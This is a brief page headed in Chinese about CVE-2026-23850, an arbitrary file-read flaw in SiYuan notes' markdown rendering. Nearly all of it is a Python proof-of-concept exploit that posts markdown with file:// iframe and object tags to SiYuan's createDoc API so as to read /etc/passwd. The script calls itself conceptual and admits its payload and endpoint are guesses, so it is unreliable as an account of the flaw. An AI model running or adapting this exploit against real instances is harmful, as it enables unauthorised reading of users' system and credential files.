CVE-2026-23850: SiYuan笔记markdown功能导致任意文件读取漏洞

import requests # CVE-2026-23850 PoC - SiYuan Local File Disclosure # Target: SiYuan < 3.5.4 def exploit_siyuan_lfd(target_url, file_path): """ Exploit for CVE-2026-23850 This PoC demonstrates how an attacker can read arbitrary files through the markdown HTML rendering feature. """ # Malicious markdown payload that triggers file reading # The exact payload depends on the specific attack vector payload = f''' <iframe src="file://{file_path}"></iframe> <object data="file://{file_path}"></object> ''' # API endpoint for creating/updating documents api_endpoint = f"{target_url}/api/filetree/createDoc" headers = { "Content-Type": "application/json", # Add authentication headers if needed } data = { "path": "/temp/cve-2026-23850", "markdown": payload, "title": "CVE-2026-23850 Test" } try: response = requests.post(api_endpoint, json=data, headers=headers) print(f"[*] Request sent to {api_endpoint}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text}") return response except Exception as e: print(f"[!] Error: {e}") return None # Example usage if __name__ == "__main__": target = "http://target-siyan-instance:8126" # Target file to read (Linux example) file_to_read = "/etc/passwd" exploit_siyuan_lfd(target, file_to_read) # Note: This is a conceptual PoC. Actual exploitation may require # different payloads and endpoints based on the specific version # and configuration of the target SiYuan instance.